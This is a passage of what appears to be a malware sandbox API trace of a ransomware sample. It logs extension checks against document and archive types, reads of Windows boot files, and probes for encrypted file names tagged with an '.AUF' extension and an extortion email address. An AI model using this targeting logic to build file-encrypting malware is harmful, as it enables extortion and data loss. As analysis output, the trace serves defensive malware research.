(lpString=".1cd") returned 4 [0204.071] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0204.071] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0204.071] lstrlenW (lpString=".jpg") returned 4 [0204.071] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0204.071] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0204.071] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0204.071] lstrlenW (lpString=".doc") returned 4 [0204.071] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0204.071] lstrlenW (lpString=".docx") returned 5 [0204.071] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0204.071] lstrlenW (lpString=".pdf") returned 4 [0204.071] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0204.071] lstrlenW (lpString=".xls") returned 4 [0204.071] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0204.071] lstrlenW (lpString=".xlsx") returned 5 [0204.071] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0204.071] lstrlenW (lpString=".ppt") returned 4 [0204.071] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0204.071] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0204.071] lstrlenW (lpString=".zip") returned 4 [0204.071] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0204.071] lstrlenW (lpString=".rar") returned 4 [0204.071] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0204.071] lstrlenW (lpString=".bz2") returned 4 [0204.071] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0204.071] lstrlenW (lpString=".7z") returned 3 [0204.071] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0204.071] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0204.071] lstrlenW (lpString=".dbf") returned 4 [0204.071] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0204.071] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0204.071] lstrlenW (lpString=".1cd") returned 4 [0204.071] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0204.071] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0204.071] lstrlenW (lpString=".jpg") returned 4 [0204.071] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0204.072] lstrcmpiW (lpString1=".LOG1", lpString2=".AUF") returned 1 [0204.072] lstrlenW (lpString="BCD.LOG1") returned 8 [0204.072] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0204.072] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=0) returned 1 [0204.072] CloseHandle (hObject=0x178) returned 1 [0204.072] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0204.072] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0204.072] lstrlenW (lpString=".doc") returned 4 [0204.072] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0204.072] lstrlenW (lpString=".docx") returned 5 [0204.072] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0204.072] lstrlenW (lpString=".pdf") returned 4 [0204.072] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0204.072] lstrlenW (lpString=".xls") returned 4 [0204.072] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0204.072] lstrlenW (lpString=".xlsx") returned 5 [0204.072] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0204.072] lstrlenW (lpString=".ppt") returned 4 [0204.072] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0204.072] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0204.072] lstrlenW (lpString=".zip") returned 4 [0204.072] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0204.072] lstrlenW (lpString=".rar") returned 4 [0204.072] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0204.072] lstrlenW (lpString=".bz2") returned 4 [0204.072] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0204.072] lstrlenW (lpString=".7z") returned 3 [0204.072] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0204.072] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0204.072] lstrlenW (lpString=".dbf") returned 4 [0204.072] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0204.072] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0204.072] lstrlenW (lpString=".1cd") returned 4 [0204.072] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0204.072] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0204.072] lstrlenW (lpString=".jpg") returned 4 [0204.073] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0204.073] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0204.073] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0204.073] lstrlenW (lpString=".doc") returned 4 [0204.073] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0204.073] lstrlenW (lpString=".docx") returned 5 [0204.073] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0204.073] lstrlenW (lpString=".pdf") returned 4 [0204.073] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0204.073] lstrlenW (lpString=".xls") returned 4 [0204.073] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0204.073] lstrlenW (lpString=".xlsx") returned 5 [0204.073] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0204.073] lstrlenW (lpString=".ppt") returned 4 [0204.073] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0204.073] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0204.073] lstrlenW (lpString=".zip") returned 4 [0204.073] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0204.073] lstrlenW (lpString=".rar") returned 4 [0204.073] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0204.073] lstrlenW (lpString=".bz2") returned 4 [0204.073] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0204.073] lstrlenW (lpString=".7z") returned 3 [0204.073] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0204.073] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0204.073] lstrlenW (lpString=".dbf") returned 4 [0204.073] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0204.073] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0204.073] lstrlenW (lpString=".1cd") returned 4 [0204.073] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0204.073] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0204.073] lstrlenW (lpString=".jpg") returned 4 [0204.073] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0204.073] lstrcmpiW (lpString1=".LOG2", lpString2=".AUF") returned 1 [0204.073] lstrlenW (lpString="BCD.LOG2") returned 8 [0204.073] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0204.074] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=0) returned 1 [0204.074] CloseHandle (hObject=0x178) returned 1 [0204.074] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0204.074] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0204.074] lstrlenW (lpString=".doc") returned 4 [0204.074] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0204.074] lstrlenW (lpString=".docx") returned 5 [0204.074] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0204.074] lstrlenW (lpString=".pdf") returned 4 [0204.074] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0204.074] lstrlenW (lpString=".xls") returned 4 [0204.074] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0204.074] lstrlenW (lpString=".xlsx") returned 5 [0204.074] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0204.074] lstrlenW (lpString=".ppt") returned 4 [0204.074] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0204.074] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0204.074] lstrlenW (lpString=".zip") returned 4 [0204.074] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0204.074] lstrlenW (lpString=".rar") returned 4 [0204.074] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0204.074] lstrlenW (lpString=".bz2") returned 4 [0204.074] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0204.074] lstrlenW (lpString=".7z") returned 3 [0204.074] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0204.074] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0204.074] lstrlenW (lpString=".dbf") returned 4 [0204.074] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0204.074] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0204.074] lstrlenW (lpString=".1cd") returned 4 [0204.074] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0204.074] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0204.074] lstrlenW (lpString=".jpg") returned 4 [0204.074] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0204.074] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0204.074] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0204.074] lstrlenW (lpString=".doc") returned 4 [0204.074] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0204.074] lstrlenW (lpString=".docx") returned 5 [0204.074] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0204.074] lstrlenW (lpString=".pdf") returned 4 [0204.074] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0204.074] lstrlenW (lpString=".xls") returned 4 [0204.074] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0204.074] lstrlenW (lpString=".xlsx") returned 5 [0204.075] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0204.075] lstrlenW (lpString=".ppt") returned 4 [0204.075] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0204.075] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0204.075] lstrlenW (lpString=".zip") returned 4 [0204.075] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0204.075] lstrlenW (lpString=".rar") returned 4 [0204.075] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0204.075] lstrlenW (lpString=".bz2") returned 4 [0204.075] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0204.075] lstrlenW (lpString=".7z") returned 3 [0204.075] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0204.075] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0204.075] lstrlenW (lpString=".dbf") returned 4 [0204.075] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0204.075] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0204.075] lstrlenW (lpString=".1cd") returned 4 [0204.075] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0204.075] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0204.075] lstrlenW (lpString=".jpg") returned 4 [0204.075] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0204.075] lstrcmpiW (lpString1=".mui", lpString2=".AUF") returned 1 [0204.075] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0204.075] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0204.075] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=89168) returned 1 [0204.075] CloseHandle (hObject=0x178) returned 1 [0204.075] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0204.075] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.076] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0204.076] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0204.076] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0204.076] lstrlenW (lpString=".doc") returned 4 [0204.076] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0204.076] lstrlenW (lpString=".docx") returned 5 [0204.076] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0204.076] lstrlenW (lpString=".pdf") returned 4 [0204.076] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0204.076] lstrlenW (lpString=".xls") returned 4 [0204.076] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0204.076] lstrlenW (lpString=".xlsx") returned 5 [0204.076] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0204.076] lstrlenW (lpString=".ppt") returned 4 [0204.076] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0204.076] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0204.076] lstrlenW (lpString=".zip") returned 4 [0204.076] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0204.076] lstrlenW (lpString=".rar") returned 4 [0204.076] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0204.076] lstrlenW (lpString=".bz2") returned 4 [0204.076] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0204.076] lstrlenW (lpString=".7z") returned 3 [0204.076] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0204.076] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0204.076] lstrlenW (lpString=".dbf") returned 4 [0204.076] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0204.076] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0204.076] lstrlenW (lpString=".1cd") returned 4 [0204.076] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0204.076] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0204.076] lstrlenW (lpString=".jpg") returned 4 [0204.076] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0204.076] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0204.076] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0204.076] lstrlenW (lpString=".doc") returned 4 [0204.076] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0204.076] lstrlenW (lpString=".docx") returned 5 [0204.076] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0204.076] lstrlenW (lpString=".pdf") returned 4 [0204.076] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0204.076] lstrlenW (lpString=".xls") returned 4 [0204.076] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0204.076] lstrlenW (lpString=".xlsx") returned 5 [0204.076] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0204.076] lstrlenW (lpString=".ppt") returned 4 [0204.076] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0204.076] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0204.076] lstrlenW (lpString=".zip") returned 4 [0204.077] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0204.077] lstrlenW (lpString=".rar") returned 4 [0204.077] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0204.077] lstrlenW (lpString=".bz2") returned 4 [0204.077] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0204.077] lstrlenW (lpString=".7z") returned 3 [0204.077] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0204.077] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0204.077] lstrlenW (lpString=".dbf") returned 4 [0204.077] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0204.077] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0204.077] lstrlenW (lpString=".1cd") returned 4 [0204.077] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0204.077] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0204.077] lstrlenW (lpString=".jpg") returned 4 [0204.077] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0204.077] lstrcmpiW (lpString1=".mui", lpString2=".AUF") returned 1 [0204.077] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0204.077] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0204.077] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=87616) returned 1 [0204.077] CloseHandle (hObject=0x178) returned 1 [0204.077] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0204.077] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.077] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0204.077] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0204.077] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0204.077] lstrlenW (lpString=".doc") returned 4 [0204.077] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0204.077] lstrlenW (lpString=".docx") returned 5 [0204.078] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0204.078] lstrlenW (lpString=".pdf") returned 4 [0204.078] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0204.078] lstrlenW (lpString=".xls") returned 4 [0204.078] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0204.078] lstrlenW (lpString=".xlsx") returned 5 [0204.078] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0204.078] lstrlenW (lpString=".ppt") returned 4 [0204.078] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0204.078] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0204.078] lstrlenW (lpString=".zip") returned 4 [0204.078] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0204.078] lstrlenW (lpString=".rar") returned 4 [0204.078] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0204.078] lstrlenW (lpString=".bz2") returned 4 [0204.078] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0204.079] lstrlenW (lpString=".7z") returned 3 [0204.079] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0204.080] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0204.080] lstrlenW (lpString=".dbf") returned 4 [0204.081] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0204.081] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0204.081] lstrlenW (lpString=".1cd") returned 4 [0204.081] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0204.081] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0204.081] lstrlenW (lpString=".jpg") returned 4 [0204.081] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0204.081] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0204.081] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0204.081] lstrlenW (lpString=".doc") returned 4 [0204.081] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0204.081] lstrlenW (lpString=".docx") returned 5 [0204.081] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0204.081] lstrlenW (lpString=".pdf") returned 4 [0204.081] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0204.081] lstrlenW (lpString=".xls") returned 4 [0204.081] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0204.081] lstrlenW (lpString=".xlsx") returned 5 [0204.081] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0204.081] lstrlenW (lpString=".ppt") returned 4 [0204.081] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0204.081] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0204.081] lstrlenW (lpString=".zip") returned 4 [0204.081] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0204.081] lstrlenW (lpString=".rar") returned 4 [0204.081] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0204.081] lstrlenW (lpString=".bz2") returned 4 [0204.081] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0204.081] lstrlenW (lpString=".7z") returned 3 [0204.081] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0204.081] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0204.082] lstrlenW (lpString=".dbf") returned 4 [0204.082] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0204.082] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0204.082] lstrlenW (lpString=".1cd") returned 4 [0204.082] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0204.082] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0204.082] lstrlenW (lpString=".jpg") returned 4 [0204.082] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0204.082] lstrcmpiW (lpString1=".mui", lpString2=".AUF") returned 1 [0204.082] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0204.082] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0204.082] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=91712) returned 1 [0204.082] CloseHandle (hObject=0x17c) returned 1 [0204.082] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0204.082] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.082] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0204.082] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0204.082] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0204.082] lstrlenW (lpString=".doc") returned 4 [0204.082] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0204.082] lstrlenW (lpString=".docx") returned 5 [0204.082] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0204.082] lstrlenW (lpString=".pdf") returned 4 [0204.082] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0204.083] lstrlenW (lpString=".xls") returned 4 [0204.083] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0204.083] lstrlenW (lpString=".xlsx") returned 5 [0204.083] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0204.083] lstrlenW (lpString=".ppt") returned 4 [0204.083] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0204.083] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0204.083] lstrlenW (lpString=".zip") returned 4 [0204.083] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0204.083] lstrlenW (lpString=".rar") returned 4 [0204.083] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0204.083] lstrlenW (lpString=".bz2") returned 4 [0204.083] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0204.083] lstrlenW (lpString=".7z") returned 3 [0204.083] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0204.083] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0204.083] lstrlenW (lpString=".dbf") returned 4 [0204.083] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0204.083] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0204.083] lstrlenW (lpString=".1cd") returned 4 [0204.083] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0204.083] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0204.083] lstrlenW (lpString=".jpg") returned 4 [0204.083] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0204.083] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0204.083] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0204.083] lstrlenW (lpString=".doc") returned 4 [0204.083] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0204.083] lstrlenW (lpString=".docx") returned 5 [0204.083] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0204.083] lstrlenW (lpString=".pdf") returned 4 [0204.083] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0204.083] lstrlenW (lpString=".xls") returned 4 [0204.083] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0204.083] lstrlenW (lpString=".xlsx") returned 5 [0204.083] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0204.083] lstrlenW (lpString=".ppt") returned 4 [0204.083] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0204.083] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0204.083] lstrlenW (lpString=".zip") returned 4 [0204.083] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0204.083] lstrlenW (lpString=".rar") returned 4 [0204.083] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0204.083] lstrlenW (lpString=".bz2") returned 4 [0204.083] lstrcmpiW (lpString1=".bz2", lpString2=".mui") 